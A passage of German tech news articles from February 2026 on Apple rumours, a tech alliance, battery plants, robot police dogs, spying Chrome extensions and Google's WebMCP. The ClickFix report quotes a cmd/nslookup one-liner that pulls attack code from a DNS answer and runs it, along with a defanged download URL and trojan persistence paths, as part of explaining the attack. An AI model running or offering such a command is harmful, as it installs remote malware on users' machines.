Zu einem solchen Einsteiger-MacBook könnte sich auch das günstigste iPhone gesellen. Schon seit einiger Zeit wird mit einem Nachfolger des iPhone 16e gerechnet. Ob Apple das iPhone 17e [2] auch im Zuge des Events vorstellt oder schon vorher, gilt es abzuwarten. Die Liste der potenziellen Kandidaten umfasst auch ein neues MacBook Air mit M5, MacBook-Pro-Modelle mit M5 Pro und M5 Max, neue Mac-Displays, ein iPad mit A18 und ein iPad Air mit M4.

Noch keine Infos über ein Video

Inwieweit Apple das Event auch mit einem Video begleiten wird, ist noch ungewiss. Bei früheren Präsenz-Terminen für Medienvertreter wurde in der Regel im Netz auch ein Film mit den Neuvorstellungen veröffentlicht. Die Medienvertreter hatten dann Gelegenheit, die vorgestellten Geräte vor Ort gleich einmal in Augenschein zu nehmen.


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https://www.heise.de/-11178848

Links in diesem Artikel:
[1] https://www.heise.de/news/Guenstiger-als-das-Air-Budget-MacBook-angeblich-fuer-2026-geplant-11056851.html
[2] https://www.heise.de/news/iPhone-17e-Diese-Features-koennten-kommen-11176437.html
[3] https://www.heise.de/Datenschutzerklaerung-der-Heise-Medien-GmbH-Co-KG-4860.html
[4] https://www.heise.de/mac-and-i
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  • 16. Februar 2026 um 16:49

iPhone 17e: Diese Features könnten kommen

Von Heise
Drei iPhone-Boxen auf einem Tisch

Drei iPhone-Boxen auf einem Tisch: Bald die erste Neuerscheinung 2025?

(Bild: KaterynaSypailova / Shutterstock.com)

Apples erste iPhone-Neuerscheinung des Jahres steht an: Es soll das iPhone 17e sein. Technisch sind einige Neuerungen zu erwarten.

Apples zweites neues Produkt des Jahres nach den AirTags 2 [1] könnte das erste neue iPhone des Jahres werden: Die Gerüchteküche ist überzeugt, dass Apple zeitnah ein iPhone 17e [2] auf den Markt bringen wird. Damit würde das iPhone 16e [3] aus dem Frühjahr 2025 erstaunlich schnell aktualisiert. Verschiedene Hardware-Aspekte sind auch schon durchgesickert. Eine große Überraschung wird das neue Einsteiger-Smartphone von Apple demnach nicht, doch solide Verbesserungen sind offenbar durchaus geplant – inklusive der Behebung einer nervigen Auslassung.

Preis unterverändert?

Zunächst vorab: Am Preis ändert sich angeblich nichts. Genauso wie das iPhone 16e soll das 17e in den USA bei 599 US-Dollar starten, in Europa vermutlich wie schon zuvor bei 699 Euro. In Sachen Speicherausstattung könnte sich Apple erbarmen und gleich bei 256 GByte loslegen – das wäre sogar eine Preissenkung, was angesichts der RAM- und Flash-Krise [4] erstaunlich wäre. Optisch soll das 17e eher mit dem iPhone 15 (von 2023) zu tun haben als mit dem iPhone 14, das beim 16e den Formfaktor stellt. Denn: Angeblich ist erstmals eine Dynamic Island geplant und keine Einbuchtung (Notch) mehr. Damit hätten endlich alle aktuellen iPhones auf dem Markt Apples Infoleiste um die Kamera herum.

Bei der Prozessortechnik dürfte Apple erneut auf relativ aktuelle Hardware setzen: Wie das 16e sich beim iPhone 16 bediente, soll das 17e in Sachen Apple-Chip beim 17 andocken – in Form einer womöglich um GPU-Kerne verringerten (Binning) Variante des A19. Ob das Display erstmals 120 Hertz (ProMotion bei Apple) erhält, ist unklar, vermutlich aber nicht. Auf der Geräterückseite befinden sich angeblich endlich MagSafe-Magneten, die beim 16e fehlten.

Kamera und Modemchip

Bei der Kamera des 17e dürfte Apple bei einer rückwärtigen Sensoreinheit bleiben, laut Gerüchteküche wie bislang mit 48 Megapixel. Vorne bleibt es wohl bei 12 Megapixel, den neuen Modus für horizontale Selfies aus dem iPhone 17 bekommt dieser Sensor wohl nicht. Beim RAM könnte Apple auf 12 GByte upgraden, vermutlich sind es aber eher 8.

Interessant wird noch der Modemchip: Der beschleunigte Apple C1X aus dem iPhone Air (plus Netzwerkchip N1) würde sich auch für das 17e anbieten. Bleibt zum Schluss noch die Verfügbarkeit: Beim 16e war es Ende Februar 2025 soweit, entsprechend könnte Apple in diesem Jahr agieren. Damit müssten sich Interessenten noch bis kommende Woche gedulden, etwa bis Montag oder Dienstag.


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https://www.heise.de/-11176437

Links in diesem Artikel:
[1] https://www.heise.de/tests/Lautstark-lokalisiert-AirTag-2-im-Test-11160732.html
[2] https://www.heise.de/news/iPhone-16e-und-iPad-Air-Aktuelle-Geraete-in-bestimmten-Maerkten-schlecht-zu-haben-11175219.html
[3] https://www.heise.de/tests/iPhone-16e-im-Test-Mehr-iPhone-fuer-Einsteiger-10303222.html
[4] https://www.heise.de/news/Bericht-Apple-will-RAM-Inflation-durch-Grosseinkauf-bei-Samsung-ausgleichen-11123351.html
[5] https://www.heise.de/Datenschutzerklaerung-der-Heise-Medien-GmbH-Co-KG-4860.html
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  • 16. Februar 2026 um 14:42

Mit SAP, Ericsson und Nokia: US-Konzerne gründen die Trusted Tech Alliance

Von Achim Sawall
Souveränität made in USA ist derzeit nicht gefragt: Das hindert SAP , Nokia und Ericsson nicht daran, Bündnisse zu schließen.
Münchner Sicherheitskonferenz am 15. Februar 2026 (Bild: MSC26)
Münchner Sicherheitskonferenz am 15. Februar 2026 Bild: MSC26

Eine Gruppe von 15 Konzernen, angeführt von Microsoft, Anthropic, AWS (Amazon Web Services) und Google Alphabet, haben bei der Münchner Sicherheitskonferenz am vergangenen Wochenende die Trusted Tech Alliance gegründet. Mit dabei sind SAP aus Deutschland, Jio Platforms aus Indien, die EU-Netzausrüster Nokia und Ericsson, das kanadische Unternehmen Cohere sowie der Netzbetreiber NTT aus Japan.

Chinesische Unternehmen sind ausdrücklich nicht eingeladen. Eine kritische Auseinandersetzung mit dem Trump-Regime in den USA, das sich bei der Unterdrückung demokratischer Proteste immer mehr an China angleicht, fand jedoch nicht statt. Obwohl elf Länder vertreten sind, bilden US-Konzerne den technologischen Kern, insbesondere im Bereich der Cloud-Infrastruktur und bei der generativen KI. Ergänzt wird dies durch Unternehmen aus Ländern, die eng in westliche Sicherheitsarchitekturen eingebunden sind, wie ASML aus den Niederlanden.

Börje Ekholm, Chief Executive Officer von Ericsson, sagte: Kein einzelnes Unternehmen oder Land kann allein einen sicheren und vertrauenswürdigen digitalen Technologie-Stack aufbauen. Vielmehr können Vertrauen und Sicherheit nur gemeinsam erreicht werden. Aus dem Grund haben wir gemeinsam mit gleichgesinnten Partnern aus der Branche die Trusted Tech Alliance ins Leben gerufen, eine Initiative, die sich zu überprüfbaren, vertrauenswürdigen Standards im gesamten digitalen Stack verpflichtet".

Kein kritisches Wort zum Trump-Regime

In den Prinzipien der Allianz fordern die Konzerne ethisches Handeln, sichere Technologieentwicklung, die Einhaltung globaler Sicherheitsstandards entlang der Lieferketten und die Förderung eines offenen digitalen Umfelds. Ericsson und Microsoft begannen Mitte vergangenen Jahres Gespräche über die Gründung der Allianz.

"Was bedeutet Souveränität? Wenn man sie definiert, kann sie sogar ein Handelshemmnis darstellen" , sagte Ekholm zu Reuters. "Kein Land auf diesem Planeten kann vollständig souverän sein."

Die Mitglieder der Allianz seien in den Bereichen Konnektivität, Cloud-Infrastruktur, Halbleiter, Software und künstliche Intelligenz tätig.

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  • 16. Februar 2026 um 19:16

Batteriezellproduktion: ACC hält Werk in Kaiserslautern für "unverantwortlich"

Von Friedhelm Greis, dpa
Der europäische Batteriezellproduzent ACC fordert mehr staatliche Unterstützung. Die IG Metall gibt das Werk Kaiserslautern noch nicht verloren.
So sollte die Batteriezellfabrik in Kaiserslautern ursprünglich aussehen. (Bild: ACC)
So sollte die Batteriezellfabrik in Kaiserslautern ursprünglich aussehen. Bild: ACC

Die IG Metall will dafür kämpfen, dass das Batteriezellenwerk des Unternehmens ACC in Kaiserslautern doch noch errichtet wird. "Es gibt bundesweit keinen besseren Standort, wenn man Batteriezellenproduktion wirklich will" , hat der Vorsitzende des Gewerkschaftsbezirks Mitte, Jörg Köhlinger, der Nachrichtenagentur dpa gesagt. Es gebe einen voll erschlossenen Standort, Förderzusagen und eine qualifizierte Belegschaft mit einem ausverhandelten Tarifvertrag.

In der Pfalz sollten auf dem früheren Opel-Gelände rund 2.000 neue Jobs entstehen. Das vorgesehene Grundstück dürfe auf keinen Fall weiterverkauft werden, sagt Köhlinger. Die Gewerkschaft wolle dort einen "Brückenkopf" halten und Gespräche mit der Politik sowie den Anteilseignern des Gemeinschaftsunternehmens ACC suchen.

Das sind die Autohersteller Stellantis und Mercedes-Benz sowie der französische Energiekonzern Total Energies. Es gehe darum, eine "Koalition der Willigen und Fähigen" zu schmieden.

ACC stoppte die Investitionen für Kaiserslautern und für ein weiteres Werk in Italien vor wenigen Tagen, weil sich die Standorte aus Sicht des Unternehmens nicht mehr rechnen. Die IG Metall betont hingegen die Notwendigkeit von widerstandsfähigen Lieferketten und warnt vor drohender Abhängigkeit von externen Zulieferern.

ACC verteidigt Verzicht auf neue Werke

Am 16. Februar 2026 appellierte ACC in einer Mitteilung an die Politik und an private Innovationskräfte, den Aufbau einer europäischen Batteriezellproduktion stärker zu unterstützen. Dabei räumte ACC ein, dass der Hochlauf der Produktion in Hauts-de-France länger dauere und teurer sei als erwartet.

In dem Statement heißt es: "Wir sind jedoch zu nah am Ziel, um jetzt aufzugeben. [...] Derzeit verlassen doppelt so viele Module unsere Produktionslinien wie noch vor zwei Monaten. Unsere Ausschussquote, die in dieser Branche von entscheidender Bedeutung ist, sinkt dank zahlreicher Maßnahmen und der Mobilisierung interner und externer Ressourcen kontinuierlich."

ACC verteidigt jedoch die Entscheidung, auf den Bau neuer Werke zu verzichten. Im aktuellen Kontext "wäre es unverantwortlich, sich zum Bau neuer Gigafactories in Deutschland oder Italien zu verpflichten" , heißt es.

Dies sei der Zweck "des kürzlich aufgenommenen konstruktiven Dialogs mit den deutschen und italienischen Teams bei ACC, mit dem Ziel, die Bedingungen für die mögliche Beendigung unserer Projekte in Kaiserslautern und Termoli auszuarbeiten" . Das Projekt am Opel-Standort Kaiserslautern wird mit Steuergeld in Höhe von rund 437 Millionen Euro unterstützt.

ACC hatte das Projekt in Kaiserslautern im Juni 2024 pausiert . ACC-Chef Yann Vincent räumte später ein , dass die Batterien und damit auch die Elektroautos zu teuer seien. "Eine billigere Batterie bedeutet eine andere Chemie, ein anderes Batteriedesign. Darauf konzentrieren wir uns seit einigen Monaten" , sagte Vincent.

Das werde "ein wenig Zeit in Anspruch nehmen" und anschließend zu Investitionen in Deutschland und Italien führen. Doch dazu fehlt dem Unternehmen offenbar weiterhin das nötige Know-how und Kapital.

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  • 16. Februar 2026 um 18:44

Anzeige: Für nur 8,50 Euro gibt's LAN auch am Macbook

Von Claus Ludewig
Bei Amazon gibt es aktuell einen praktischen USB-C-LAN-Adapter im befristeten Angebot zum Bestpreis.
Benfei USB-C-LAN-Adapter aktuell zum Bestpreis bei Amazon (Bild: Erzeugt mit Dall-E; Amazon)
Benfei USB-C-LAN-Adapter aktuell zum Bestpreis bei Amazon Bild: Erzeugt mit Dall-E; Amazon

Seit Apple im Jahr 2020 auf M-Chips wechselte, gibt es zwar mehr Akkulaufzeit, aber auch eine eingeschränkte Anschlussausstattung bei allen neuen Macbooks. Statt USB-A oder LAN gibt es nur noch USB-C. Doch wer kabelgebunden ins Internet gehen möchte, benötigt einen Ethernet-Adapter. Bei Amazon gibt es nun einen passenden USB-C-auf-LAN-Adapter im befristeten Angebot. Es handelt sich um ein Modell des chinesischen Anbieters Benfei.

Was hat der Benfei USB-C-auf-Ethernet-Adapter zu bieten?

Der Adapter unterstützt Netzwerkgeschwindigkeiten von 10, 100 und 1.000 Mbit/s und nutzt eine USB-3.0-Anbindung (5 Gbit/s Bandbreite). Damit soll eine stabile Gigabit-Verbindung möglich sein. Voraussetzung ist, dass auch Router, Switch und Netzwerkkabel mitspielen; empfohlen wird mindestens CAT6.

Mit rund 50 Gramm Gewicht und kompakten Abmessungen eignet sich der Adapter vor allem für den mobilen Einsatz am Ultrabook oder Tablet. LEDs informieren über Link-Status und Aktivität.

Mit Wake-on-LAN und FDX sowie HDX-Support

Benfei unterstützt neben Wake-on-LAN auch Vollduplex- und Halbduplex-Ethernet. Bei Halbduplex-Ethernet (HDX) können Daten in beide Richtungen übertragen werden, allerdings nicht zeitgleich. Das geht wiederum bei Vollduplex (FDX).

Plug-and-play-Lösung

Gut gefällt Käufern die einfache Inbetriebnahme: In vielen Fällen genügt das Einstecken, damit das Gerät sofort erkannt wird. Lobend werden auch das Gehäuse und das USB-Kabel erwähnt, da diese einen stabilen Eindruck hinterlassen. Praktisches Detail: Neben USB-C wird auch ein USB-A-Stecker mitgeliefert, falls man den LAN-Adapter an einem Laptop per USB-A betreiben möchte.

In Einzelfällen kommt es zu Verbindungsabbrüchen oder zu Schwierigkeiten mit dem USB-Port. Zudem gibt es Nutzer, die die maximale Geschwindigkeit als nicht ganz auf dem Niveau teurerer Konkurrenzprodukte einschätzen.

Wie gut ist das aktuelle Angebot?

Zum Zeitpunkt der Artikelerstellung gibt es den Benfei USB-C-auf-Ethernet-Adapter im befristeten Angebot für 8,49 Euro bei Amazon. Ein Blick in die Keepa-Preishistorie zeigt, dass es diesen LAN-Adapter noch nie günstiger zu kaufen gab. In den vergangenen Tagen beispielsweise kostete er noch 8,99 Euro, die UVP liegt bei knapp 10 Euro. Zur Wahrheit gehört aber auch, dass es diesen LAN-Adapter immer wieder für rund eine Woche zum Bestpreis von 8,49 Euro bei Amazon zu kaufen gibt, wie Keepa aufzeigt. Laut Amazon soll das aktuelle, befristete Angebot am 1. März ablaufen, wenn der Vorrat solange reicht.

Reklame

Benfei USB-C auf Ethernet Adapter, USB 3.0 auf RJ45 Gigabit LAN (1000Mbps) Netzwerkadapter

Im befristeten Angebot sparen

Preis, Daten und Fakten zum Benfei USB-C-auf-Ethernet-Adapter

  • Um LAN auch an einem Macbook oder vielen anderen modernen Laptops nutzen zu können, gibt es den Benfei USB-C-auf-Ethernet-Adapter.
  • Steckt man den LAN-Adapter via USB ans Macbook an, kann man mit einem LAN-Kabel ins Internet. Dabei werden Geschwindigkeiten bis zu 1 Gbit/s im LAN unterstützt, wenn man ein CAT6-LAN-Kabel nutzt.
  • Praktisch ist, dass Benfei neben USB-C gleich auch einen USB-A-Stecker mitliefert.
  • Zum Zeitpunkt der Artikelerstellung verkauft Amazon den Benfei USB-C-auf-Ethernet-Adapter im befristeten Angebot für 8,49 Euro. Günstiger gab es den LAN-Adapter noch nie, so die Keepa-Preishistorie.

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  • 16. Februar 2026 um 18:24

Mexiko: Roboterhund-Brigade für die Fußball-WM

Von Heise
Roboterhunde der Division K9-X in Monterrey, Mexiko.

(Bild: Gobierno Municipal de Guadalupe)

Im Hinblick auf die Fußnall-Weltmeisterschaft rüstet Mexiko bei der Sicherheitstechnik auf. Der Spielort Monterrey präsentiert Roboterhunde für die Polizei.

Die Stadtverwaltung von Guadalupe, einem Vorort der mexikanischen Großstadt Monterrey, hat die Einführung einer Polizeistaffel von vier Roboterhunden angekündigt. Die als Division K9-X bezeichnete neue Einheit soll bei Sicherheitsmaßnahmen während der Fußball-Weltmeisterschaft 2026 zum Einsatz kommen. Mexiko ist neben den Vereinigten Staaten und Kanada Co-Gastgeber. Im Estadio BBVA in Guadelupe (Monterrey) im nordmexikanischen Bundesstaat Nuevo León werden vier WM-Partien ausgetragen.

Nach Angaben der Stadtverwaltung werden die Roboterhunde für Präventions- und Abschreckungsaufgaben zur Unterstützung von Überwachungs-, Betreuungs- und Kontrollaufgaben konzipiert. „Auf dem Boden werden diese Roboterhunde von K9-X die Polizei bei einem ersten Einsatz mit Videoaufnahmen unterstützen und schließlich gefährliche Orte betreten, d. h. bevor die Sicherheitskräfte eintreffen und um die körperliche Unversehrtheit der Beamten zu gewährleisten, werden die Roboter im Falle einer Auseinandersetzung oder bei alkoholisierten Personen eingreifen.“, lobte Guadelupes Bürgermeister Héctor García García bei der Vorstellung der neuen Division [1] in der vergangenen Woche die Vorzüge dieser Technologie und ihre Einsatzmöglichkeiten.

Mithilfe der Roboterhunde soll die städtische Polizei ungewöhnliche Situationen erkennen und schneller und sicherer auf potenzielle Risiken reagieren könne. Die Roboter unterstützen demnach bei der Überwachung großer Gebiete, seien in der Lage, ungewöhnliches Verhalten oder Objekte zu erkennen, ungewöhnliche Menschenansammlungen zu identifizieren und sofort die Sicherheits- und Zivilschutzbehörden zu alarmieren.

Jeder der Roboterhunde ist aus widerstandsfähigem Material gefertigt, um auch in unwegsames Gelände gelangen zu können. Darüber hinaus verfügen sie über Videokameras, Nachtsichtgeräte, Sprachsteuerung und Warnsysteme. Die Investitionen für die Anschaffung der Roboter beliefen sich auf 2,5 Millionen Pesos (rund 123.000 Euro).

Am vergangenen Donnerstag hatte die Roboterhund-Brigade bereits ihren ersten offiziellen Großeinsatz, als sie bei einem Heimspiel des lokalen Erstligavereins CF Monterrey gegen CSD Xelajú MC aus Guatemala im CONCACAF Champions Cup, der zentralamerikanischen Champions League, im Estadio BBVA patrouillierte. Die Einheit führte präventive Rundgänge außerhalb des Stadions durch und überprüfte dabei Zugänge und Bereiche mit hohem Personenaufkommen. Ferner überprüfte sie im Stadion Gänge und Gemeinschaftsbereiche und verstärkte die Überwachung an stark frequentierten Stellen, wie die Stadt Guadelupe mitteilte [2]. Und weiter: „Im Rahmen der strategischen Überwachung vor dem Spiel überprüften die Roboter-Einheiten auch die Unterseite von Fahrzeugen“ rund um das Stadion, was eine bessere Beobachtung und frühzeitige Erkennung möglicher Straftaten ermöglichte.


URL dieses Artikels:
https://www.heise.de/-11179018

Links in diesem Artikel:
[1] https://guadalupe.gob.mx/noticia/integran-perros-robot-en-la-estrategia-de-seguridad-en-guadalupe
[2] https://guadalupe.gob.mx/noticia/intervienen-unidades-roboticas-k9-x-de-guadalupe-en-primer-evento-masivo
[3] https://www.heise.de/newsletter/anmeldung.html?id=ki-update&wt_mc=intern.red.ho.ho_nl_ki.ho.markenbanner.markenbanner
[4] mailto:akn@heise.de

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  • 16. Februar 2026 um 22:41

Populäre Chrome-Erweiterungen spähen Nutzer aus

Von Heise
Eine Zeichnung, auf der ein Chef zu sehen ist, der seinen Mitarbeiter mit einer Lupe beobachtet.

(Bild: Elnur/Shutterstock.com)

IT-Forscher haben 32.000 Chrome-Erweiterungen untersucht und dabei 287 teils populäre Apps beim Ausspähen der User erwischt.

Eine IT-Forschergemeinschaft mit dem Namen „Q Continuum“ hat automatisiert zigtausende der beliebtesten Chrome-Erweiterungen untersucht. Knapp 300 davon, teils mit je vielen Millionen Installationen, liefern den Browserverlauf von Nutzerinnen und Nutzern an ihre Hersteller aus. Den Usern ist meistens wohl nicht klar, dass sie ausspioniert werden.

Die Analyse und ihre Ergebnisse stellt „Q Continuum“ in einem Github-Projekt [1] bereit. Beim Versuchsaufbau haben sie Chrome in einen Docker-Container verfrachtet und den Traffic durch einen Man-in-the-Middle-Proxy geschleust. Dabei beobachteten sie die ausgehenden Anfragen unter dem Aspekt, wie sie mit der Länge der URLs korrelieren, die dem Chrome-Browser vorgesetzt wurden. Dabei haben die IT-Forscher synthetische Browser-Daten eingesetzt, konkret konsistent geformte Anfragen an google.com, die jedoch nie den Docker-Container verlassen. Dann untersucht ein Skript die ausgehenden Daten darauf hin, wie umfangreich der abgehende Traffic ist.

Die Idee dahinter: Wenn eine Erweiterung lediglich den Seitentitel liest oder eigenes CSS in die Seite einbaut, sollte der Netzwerk-Fußabdruck niedrig bleiben, egal, wie lang die besuchte URL ist. Wenn der abgehende Traffic jedoch linear mit der URL-Länge ansteigt, liefert die Erweiterung mit hoher Wahrscheinlichkeit die URL oder die gesamte HTTP-Anfrage an einen Server ins Internet aus. Damit konnten sie Erweiterungen eingrenzen, die sehr wahrscheinlich sensible Daten ausspähen.

Hunderte teils populäre Erweiterungen spionieren

Insgesamt haben die Analysten die 32.000 populärsten Chrome-Erweiterungen von den 240.000 im Chrome-Webstore verfügbaren untersucht. Dabei haben sie 287 teils sehr populäre Kandidaten aufgespürt, die Daten exfiltrieren. Insgesamt 37,4 Millionen User haben diese Plug-ins in ihren Webbrowser installiert und werden davon ausgeforscht.

Diese Daten können zur Profilbildung und gezielter Werbung genutzt werden, aber auch zu Wirtschaftsspionage oder dem Abziehen von Zugangsdaten, erklärt das „Q Continuum“ die potenziellen Gefahren. Andererseits ist nicht jede Erweiterung automatisch auch mit bösartiger Absicht unterwegs. Auf Platz 1 findet sich etwa „Avast Online Security & Privacy“ mit sechs Millionen Installationen, ein Plug-in zur Reputationsprüfung von Webseiten. Offenbar nutzt es keine lokale Datenbank, sondern sendet die URLs zur Prüfung an die Herstellerserver. Allerdings hat gerade Avast da eine wenig rühmliche Vergangenheit: Wegen Datenweitergabe musste das Unternehmen 2024 16,5 Millionen US-Dollar Strafe [2] in den USA zahlen, da die gesammelten Daten von mehr als 100 Millionen Nutzern über die Tochterfirma Jumpshot verkauft wurden. An zweiter Stelle folgen mit je 3 Millionen Nutzern die Erweiterungen „Ad Blocker: Stands AdBlocker“ sowie „Monica: ChatGPT AI Assistant | DeepSeek, GPT-4o, Claude 3.5, o1 &More“.

Die Webseite hält eine Liste der beim Ausspähen beobachteten Chrome-Erweiterungen vor. Detaillierte Einblicke gibt das rund 260-seitige PDF [3], wovon die letzten etwa 150 Seiten jedoch lediglich Details zu den betroffenen Erweiterungen wie IDs, Namen, Nutzerzahlen und Ähnliches umfassen. Wer nicht möchte, dass die eigenen Browser-Erweiterungen den eigenen Browser-Verlauf an die Anbieter senden, sollte die Erweiterungsliste prüfen und gegebenenfalls die Add-ons deinstallieren.

Browser-Erweiterungen sind oft nützliche Helferlein, sie können jedoch auch Datenschleudern sein, die die Privatsphäre verletzen. Einige Akteure nutzen das zur eigenen Bereicherung aus, indem sie die gewonnenen Daten monetarisieren. Das Phänomen selbst ist bereits älter. Etwa 2019 hat der IT-Sicherheitsforscher Sam Jadali 200 Chrome- und Firefox-Erweiterungen angeschaut [4] und diese ebenfalls beim Datensammeln erwischt. Auf diese übertragenen Daten hatten zudem Dritte Zugriff. Bei dieser Späh-Masche mit dem Namen „DataSpii“ waren Surf-Daten von 4,1 Millionen Menschen betroffen.


URL dieses Artikels:
https://www.heise.de/-11177837

Links in diesem Artikel:
[1] https://github.com/qcontinuum1/spying-extensions/blob/main/README.md
[2] https://www.heise.de/news/Avast-muss-wegen-Datenweitergabe-16-5-Millionen-Dollar-zahlen-9788887.html
[3] https://github.com/qcontinuum1/spying-extensions/blob/main/report.pdf
[4] https://www.heise.de/news/DataSpii-Browser-Addons-spionieren-Millionen-Nutzer-aus-4475506.html
[5] https://pro.heise.de/security/?LPID=39555_HS1L0001_27416_999_0&wt_mc=disp.fd.security-pro.security_pro24.disp.disp.disp
[6] mailto:dmk@heise.de

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  • 16. Februar 2026 um 13:29

ClickFix-Attacken nutzen Schadcode in DNS-Antworten

Von Heise

(Bild: Skorzewiak/Shutterstock.com)

Microsoft hat eine neue Variante der Malware-Verteilung in ClickFix-Angriffen entdeckt. Die Angreifer liefern Schadcode mittels DNS aus.

Bei ClickFix-Angriffen verleiten Cyberkriminelle ihre Opfer dazu, einen Befehl auf dem Rechner auszuführen, der angeblich ein Problem lösen soll. Tatsächlich installiert der jedoch Malware aus dem Internet. Eine neue Variante setzt dabei auf DNS-Antworten zur Verteilung der Schadsoftware.

Das hat Microsofts Threat-Intelligence-Team auf Linkedin [1] bekannt gegeben. Um der Erkennung zu entgehen, setzen die Angreifer nun darauf, einen vermeintlich harmlosen „nslookup“-Befehl abzusetzen. Microsoft zeigt den Beispielaufruf von cmd /c ”nslookup example.com 84.xx.yy.zz | findstr ”^Name:” | for /f ”tokens=1,* delims=:” %a in (’more’) do @echo %b” cmd && exit\1 – dieser Befehl wird offenbar auch verschleiert mit eingeworfenen Sonderzeichen („^") überliefert.

Microsoft: DNS-Antwort enthält Schadcode

Dieser Befehl fragt beim Zielserver mit der hier verschleierten IP-Adresse nach einer Auflösung für den Domain-Namen „example.com“. Die „Name:“-Antwort verarbeitet der Befehl dann, um den Schadcode der nächsten Infektionsstufe zu empfangen und auszuführen, erklären die IT-Forscher aus dem Microsoft-Defender-Team. Dieser Angriff umgeht klassischen Malware-Schutz, zudem sieht die serverseitige DNS-Antwort für Virenschutz in der Regel unverdächtig aus – anders als üblicherweise genauer untersuchter Netzwerkverkehr etwa von Webservern.

Der Schadcode aus der DNS-Antwort lädt dann eine .zip-Datei von „hxxp://azwsappdev[.]com/“ herunter, aus dem ein Portable-Python-Bundle sowie bösartiger Python-Code extrahiert werden. Der ausgeführte Python-Code untersucht die vorgefundene Windows-Umgebung und lädt schließlich die finale Infektionsstufe nach, die als „%APPDATA%\WPy64-31401\python\script.vbs“ im Dateisystem landet und mittels „%STARTUP%/MonitoringService.lnk“ im Autostart eingerichtet wird. Es handelt sich dabei um einen Fernzugriff-Trojaner namens „ModeloRAT“.

Bei ClickFix handelt es sich um Social-Engineering-Angriffe, die in der Regel über Phishing, Malvertising oder Drive-by-Köder (etwa gefälschte Captcha- oder „Beheben Sie dieses Problem”-Dialoge) eingesetzt wird, um Benutzer dazu zu verleiten, einen Befehl zu kopieren, einzufügen und auszuführen, fasst Microsoft diese Attacken-Variante zusammen. Gegen Drahtzieher solcher Angriffe gehen auch internationale Strafverfolger immer wieder vor. So konnten im Rahmen der „Operation Endgame 2.0“ etwa hunderte Server außer Gefecht gesetzt [2] werden, die unter anderem ebenfalls für ClickFix-Attacken genutzt wurden.


URL dieses Artikels:
https://www.heise.de/-11177592

Links in diesem Artikel:
[1] https://www.linkedin.com/posts/microsoft-threat-intelligence_microsoft-defender-researchers-observed-attackers-activity-7428223307818340352-6OHr
[2] https://www.heise.de/news/Operation-Endgame-2-0-20-Haftbefehle-Hunderte-Server-ausser-Gefecht-gesetzt-10394215.html
[3] https://pro.heise.de/security/?LPID=39555_HS1L0001_27416_999_0&wt_mc=disp.fd.security-pro.security_pro24.disp.disp.disp
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  • 16. Februar 2026 um 11:40

Googles WebMCP macht Websites zu strukturierten Datenquellen für KI-Agenten

Von Heise
Roboter neben Laptop und Tastatur, lila Hintergrund

(Bild: heise medien)

Google hat WebMCP vorgestellt. Die JavaScript-API macht Websites zu MCP-Servern und ermöglicht KI-Agenten strukturierte Interaktionen mit der Website.

Google hat mit WebMCP (Web Model Context Protocol) eine neue JavaScript-Schnittstelle vorgestellt, über die KI-Agenten standardisiert mit Websites kommunizieren sollen. Wie Google-Entwickler André Cipriani Bandarra in einem Blogbeitrag [1] erklärt, überträgt WebMCP die Idee des Model Context Protocol auf Websites, sodass KI-Agenten im Browser strukturiert mit Webseiten interagieren können – ohne das DOM der Seite scrapen und sich durch den Code klicken zu müssen.

Über die Schnittstelle können KI-Agenten gezielt Aktionen auf Websites ausführen, beispielsweise Formulare ausfüllen, Produkte suchen und bestellen oder Flüge buchen. „WebMCP zielt darauf ab, einen Standard für strukturierte Tools bereitzustellen, um sicherzustellen, dass KI-Agenten Aktionen mit erhöhter Geschwindigkeit, Zuverlässigkeit und Präzision ausführen können“, sagt Bandarra.

WebMCP erweitert das Navigator-Interface um navigator.modelContext mit Methoden wie registerTool() und provideContext(). Google unterscheidet dabei zwischen einer deklarativen API für einfache Formular-Aktionen und einer imperativen API für komplexe JavaScript-Interaktionen. Jedes registrierte Tool benötigt einen Namen, eine Beschreibung in natürlicher Sprache, ein JSON-Schema für Eingaben sowie eine Execute-Callback-Funktion.

Unterschiede zu Microsofts NLWeb

Microsoft hatte Mitte 2025 mit NLWeb ein eigenes Open-Source-Projekt für das „agentische Web“ vorgestellt. Der zentrale Unterschied: NLWeb ist serverseitig konzipiert und macht Webseiten zu MCP-Servern mit natürlichen Sprachschnittstellen. WebMCP hingegen läuft im Browser im JavaScript-Kontext, ohne separate Backend-Komponenten.

Laut der offiziellen WebMCP-Spezifikation der W3C Web Machine Learning Community Group [2] arbeiten Google und Microsoft mittlerweile gemeinsam an dem WebMCP-Standard. Als Co-Autoren sind neben Google-Entwicklern auch Microsoft-Entwickler gelistet, was auf eine mögliche Konvergenz hindeutet.

WebMCP steht derzeit als Early Preview über Googles Early-Access-Programm für Entwickler bereit und ist in Chrome 146 als DevTrial verfügbar. Google könnte die Schnittstelle künftig in Chrome und seine KI-Dienste wie Gemini integrieren, um Browser-Agenten direkt mit Websites interagieren zu lassen.


URL dieses Artikels:
https://www.heise.de/-11177824

Links in diesem Artikel:
[1] https://developer.chrome.com/blog/webmcp-epp
[2] https://webmachinelearning.github.io/webmcp
[3] https://www.heise.de/ix
[4] mailto:odi@ix.de

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  • 16. Februar 2026 um 13:56

Cyber Resilience Act: ORC Working Group veröffentlicht erstes Whitepaper

Von Heise
Richterhammer vor Europa-Flagge

(Bild: Marian Weyo/Shutterstock.com)

Im Fokus des Whitepapers steht die Rolle der Open Source Software Stewards, die im CRA erstmals als juristische Akteure in Erscheinung treten.

Die von der Eclipse Foundation gegründete Open Regulatory Compliance Working Group (ORC WG) hat ihr erstes Whitepaper veröffentlicht. Die Arbeitsgruppe – zu deren Mitgliedern namhafte Unternehmen wie Microsoft, Siemens, Red Hat und Bosch zählen – entstand durch das Aufkommen des Cyber Resilience Act (CRA), einer EU-Regulierung zur erhöhten Sicherheit von Produkten mit digitalen Elementen.

Das Whitepaper widmet sich offenen Fragen rund um die neue Rolle der im CRA genannten Open Source Software Stewards. Dabei macht die Arbeitsgruppe deutlich, dass das Whitepaper keine juristische Empfehlung ist, sondern ein kollektives Verständnis von Open-Source-Beitragenden widerspiegelt.

Open Source Software Stewards: Verantwortlichkeiten und Verpflichtungen

